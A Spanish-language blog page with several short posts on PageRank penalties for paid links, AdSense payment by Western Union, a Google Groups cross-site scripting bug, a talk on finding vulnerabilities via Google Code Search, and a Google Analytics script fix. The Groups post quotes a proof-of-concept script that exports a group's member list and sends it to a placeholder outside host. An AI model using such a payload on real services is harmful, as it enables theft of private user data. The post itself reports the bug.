Buayacorp

Se habló mucho sobre los últimos sucesos relacionados al PageRank e incluso Matt Cuts parece confirmar lo que todos venían comentando:

The partial update to visible PageRank that went out a few days ago was primarily regarding PageRank selling and the forward links of sites. So paid links that pass PageRank would affect our opinion of a site.

Going forward, I expect that Google will be looking at additional sites that appear to be buying or selling PageRank.

No tengo idea si el PageRank en realidad afecta al posicionamiento o sólo es un adorno, pero en el hipotético caso en que continúen las penalizaciones y el PageRank tenga importancia, supongo que sitios/blogs como éste se verían afectados debido a que algo más del 84% de las visitas proviene de Google:

Actualmente, el ingreso mensual de la venta de dos enlaces es mayor a los ingresos que reporta este blog con AdSense (el cual, por suerte todavía cubre los gastos de hosting), pero como están las cosas, dejaré de vender enlaces a través de Text Link Ads, puesto que al fin y al cabo no seré millonario vendiendo enlaces.

Las pocas personas* que lean esta entrada y se encuentren en esta situación ¿continuarán con la venta de enlaces?

*: Viendo los gráficos, supongo que ahora me creerán cuando digo que éste sitio tiene pocos seguidores.

Tags: enlaces, Google, pagerank, posicionamiento

Gracias a NestaVista hoy acabo de revisar mi cuenta de AdSense y veo que Google finalmente habilitó la posibilidad de cobrar los pagos de AdSense a través del servicio Quick Cash de Western Union.

Aunque todavía no llegué a los $100 necesarios para recibir el pago, es muy bueno saber que — al menos en este lado del planeta — las agencias de cambio de dinero ya no cobrarán altas comisiones por cambiar los cheques.

Tags: adsense, Google, pagos, publicidad, quickcash, western union

Este año recién empieza y ya se han reportado múltiples fallos de seguridad en diversas aplicaciones, esta vez Michael Schwarz comenta sobre un bug en Google Groups, que permite insertar javascript en el mensaje que se envía al administrador del grupo al momento de suscribirse.

En el mismo artículo, pone código de prueba que permite obtener la lista de miembros de un grupo X.

<script type="text/javascript">
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "/group/[GROUPNAME]/manage_members/MemberList.csv?Action.Export=Export+member+list", true);
xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4) {
        var img = document.createElement("img");
        img.src = "http://yourdomain/?" + escape(xmlhttp.responseText);
        document.body.appendChild(img);
    }
};
xmlhttp.send(null);
</script> 

El título, es el nombre del tema que expuso Jose Nazario en UMEET 2006, trata sobre el uso de Google Code Search para encontrar las vulnerabilidades -típicas- en el código de aplicaciones que hayan sido indexadas por este buscador.

Pueden ver su presentación o las diapositivas en:

• http://umeet.uninet.edu/umeet2006/talks/?lang=en&s=jose
• http://monkey.org/~jose/presentations/umeet06/slides/

Muchos de los sitios que usan Google Analytics para manejar sus estadísticas, presentan un -pequeño- error en javascript cuando el visitante usa Firefox.

Para solucionar -realmente- este pequeño error, pueden usar una versión modificada del script de Google Analytics o cambiar lo siguiente para evitar que se muestre el error:

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>

<script type="text/javascript">
_uacct = "....";
urchinTracker();
</script>

por:

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>

<script type="text/javascript">
_uacct = "....";
if (typeof(urchinTracker) == 'function') {
  urchinTracker();
}
</script>